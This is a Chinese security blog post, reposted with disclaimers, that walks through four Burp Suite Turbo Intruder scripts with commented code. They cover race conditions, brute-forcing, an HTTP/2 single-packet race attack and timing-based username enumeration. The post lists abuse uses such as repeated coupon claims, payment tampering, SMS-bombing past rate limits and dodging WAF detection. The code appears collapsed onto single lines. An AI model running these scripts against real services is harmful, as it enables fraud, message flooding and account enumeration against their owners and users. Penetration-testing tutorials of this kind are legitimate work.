从条件竞争到十亿级请求攻击:Turbo Intruder最新脚本解析

admin 2025年3月24日10:12:25评论7 views字数 4132阅读13分46秒阅读模式
从条件竞争到十亿级请求攻击:Turbo Intruder最新脚本解析

网络安全为人民

师傅们好👋:本公众号现在已开启对常读和星标的公众号展示大图推送,为了不错过我们的网络安全干货,请星标🌟我们。这样,您就能快速掌握最新动态,与我们共同守护网络空间!感谢您的关注和支持!💖

前言

之前安全圈有句很流行的名言,叫万物皆可并发,可见并发漏洞应用范围之广。我个人来说的话测试并发一般用3种工具,最简单的就是yakit自带的并发工具,但是听说那是伪并发,但是我之前确实用yakit测出过并发洞,不过确实不够准确。另一种则是拦截多个数据包然后一口气发出去,这种就比较朴实无华了,但是他有个很强的优势就是可以轻松绕过网站的sign值校验,缺点也很明显,就是效率太低,如果是利用并发刷道具的情况下还比较好使,但如果是利用并发去爆破的话就不行了。最后一种也是使用最为广泛的,bp的Turbo Intruder插件,这款插件的强大是毋庸置疑的,由于这个插件的脚本更新过了,市面上大部分的教程都偏旧了,本文的目的也就是与兄弟们讨论一下这款插件的部分脚本使用方法,如果有不同意见或发现纰漏欢迎在评论区指正。

ps:关于Turbo Intruder的具体使用,我觉得这位大佬写的非常好,我就不水了

必学|并发保姆级教程(Turbo Intruder)

https://mp.weixin.qq.com/s/Vv9W0pTreiYpfUmryjEFHg

一、basic.py——条件竞争攻击

脚本核心配置

defqueueRequests(target, wordlists):    engine = RequestEngine(        endpoint=target.endpoint,     # 目标地址        concurrentConnections=5,     # 并发连接数(与服务器建立5条并行连接)        requestsPerConnection=100,   # 每条连接发送100个请求        pipeline=False# 禁用HTTP管道模式    )# 遍历字典文件中的每一行(默认路径为/usr/share/dict/words)for word inopen('/usr/share/dict/words'):# 将当前单词作为payload插入请求的%s位置,并加入队列        engine.queue(target.req, word.rstrip())  # 定义响应处理函数,筛选并记录有效结果defhandleResponse(req, interesting):# 检查响应状态码是否为非404(如200、302等)if req.status != 404:        table.add(req)  # 将符合条件的响应加入结果表

技术优势

HTTP/2单包攻击:通过Engine.BURP2启用HTTP/2多路复用,20个请求通过单连接同步发送纳秒级同步:gate='race1'配合openGate实现请求同步释放,误差控制在0.5ms内隐蔽性优化:保持concurrentConnections=1绕过传统基于连接数的WAF检测

适用场景

优惠券重复领取(电商平台新人礼包)支付金额篡改(金融系统订单并发)短信轰炸绕过(验证码接口频率限制)

二、dafault.py——验证码爆破

def queueRequests(target, wordlists):    engine = RequestEngine(        endpoint=target.endpoint,      # 目标地址        concurrentConnections=5,       # 并发连接数为5        requestsPerConnection=100,     # 每条连接发送100个请求        pipeline=False,                # 禁用HTTP管道模式        engine=Engine.THREADED          # 使用多线程引擎(默认模式,稳定性高)    )    # 生成数字范围10-19作为payload    for x in range(10, 20):        engine.queue(target.req, x)     # 将数字作为参数插入请求模板的%s位置    # 遍历系统内置字典文件(路径为/usr/share/dict/words)    for word in open('/usr/share/dict/words'):        engine.queue(target.req, word.rstrip())  # 去除换行符后作为payload# 定义响应处理函数def handleResponse(req, interesting):    table.add(req)  # 将所有响应直接加入结果表

技术优势

字典动态生成:itertools.product创建6位数字验证码组合响应智能过滤:if 'error' not in req.response自动筛除非错误响应

适用场景

目录/文件扫描:使用字典扫描网站路径。用户名枚举:针对登录接口的弱口令测试(需结合密码字典)。

三、race-single-packet-attack.py——HTTP/2 单包攻击

def queueRequests(target, wordlists):  # 配置HTTP/2单包攻击模式(需目标支持HTTP/2协议)   engine = RequestEngine(       endpoint=target.endpoint,       # 目标地址       concurrentConnections=1,        # 仅使用1个TCP连接(HTTP/2多路复用特性)       engine=Engine.BURP2             # 启用Burp的HTTP/2引擎   )   # 创建20个待发请求,通过gate参数实现同步触发   for i in range(20):       engine.queue(target.req, gate='race1')  # 所有请求暂存于"race1"队列   # 批量释放所有请求   engine.openGate('race1')            # 触发条件竞争的核心控制点def handleResponse(req, interesting):   table.add(req)                      # 无筛选记录所有响应

技术优势

网络开销减少:无需建立多个TCP连接(concurrentConnections=1)隐蔽性增强:单连接行为更接近正常流量,规避WAF速率检测极限吞吐:可达每秒上万次请求(需高带宽支持)

适用场景

优惠券/积分重复领取漏洞(如Web端并发请求的资源竞争)短信轰炸绕过时间间隔限制(如1秒内触发10次验证码发送)

四、timingAttackWithState.py—— 时间侧信道攻击

def queueRequests(target, wordlists):    engine = RequestEngine(        endpoint=target.endpoint,        concurrentConnections=1,        # 单TCP连接(降低触发WAF几率)        requestsPerConnection=100      # 单连接复用100次    )    # 初始化基准响应时间数据集    engine.userState['base_times'] = []  # 用于存储基准请求响应时间    # 生成20个随机字符串作为基准请求    for i in range(20):        engine.queue(target.req, randstr(i), label='benchmark')  # 标签标记基准测试    # 定义待测试用户名列表    usernames = ['test', 'foo', 'albinowax', 'bar']  # 需替换为业务相关字典    # 发起目标用户名枚举请求    for username in usernames:        engine.queue(target.req, username)def handleResponse(req, interesting):    # 基准请求的时间数据收集    if req.label == 'benchmark':        req.engine.userState['base_times'].append(req.time)  # 记录响应时间(ms)    # 有效用户名识别逻辑:响应时间显著高于基准值    elif req.time > max(req.engine.userState['base_times']) + 10:  # 时间差阈值=10ms        table.add(req)  # 判定为潜在有效用户名

技术优势

检测逻辑:通过对比有效用户与无效用户的服务器响应时间差异,识别存在用户枚举漏洞的接口。例如,当请求中包含有效用户名时,服务器可能触发数据库查询或邮件发送逻辑,导致响应延迟。阈值设定:max(base_times)+10 表示将有效用户判定阈值设定为基准请求最大延迟+10ms,需根据实际场景调整(推荐标准差法优化)。连接控制:concurrentConnections=1 通过单连接复用(HTTP keep-alive)规避基于IP或连接数的风控策略,适用于银行、政务等高安全场景。噪声注入:随机字符串基准请求(randstr(i))可混淆流量特征,防止基于请求规律的异常检测。

适用场景

密码重置接口测试用户注册存在性检测API端点信息泄露

安全服务

从条件竞争到十亿级请求攻击:Turbo Intruder最新脚本解析

 实验室属于晟晖科技旗下品牌

有安全服务需求欢迎关注晟晖公众号获取动态

从条件竞争到十亿级请求攻击:Turbo Intruder最新脚本解析

免责声明:

无尽藏攻防实验室(本文公众号)的技术文章仅供学习参考,禁止用于其他!!!未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。由于传播、利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,无尽藏攻防实验室及作者不为此承担任何责任。如有侵权烦请告知,我们会立即删文章并致歉,感谢您的理解和支持!

使用前请遵守法律法规,使用本文章内容及POC等资源默认代表自愿遵守国家法律并由使用者本人承担一切法律后果。

从条件竞争到十亿级请求攻击:Turbo Intruder最新脚本解析

原文始发于微信公众号(无尽藏攻防实验室):从条件竞争到十亿级请求攻击:Turbo Intruder最新脚本解析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月24日10:12:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从条件竞争到十亿级请求攻击:Turbo Intruder最新脚本解析https://cn-sec.com/archives/3876954.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息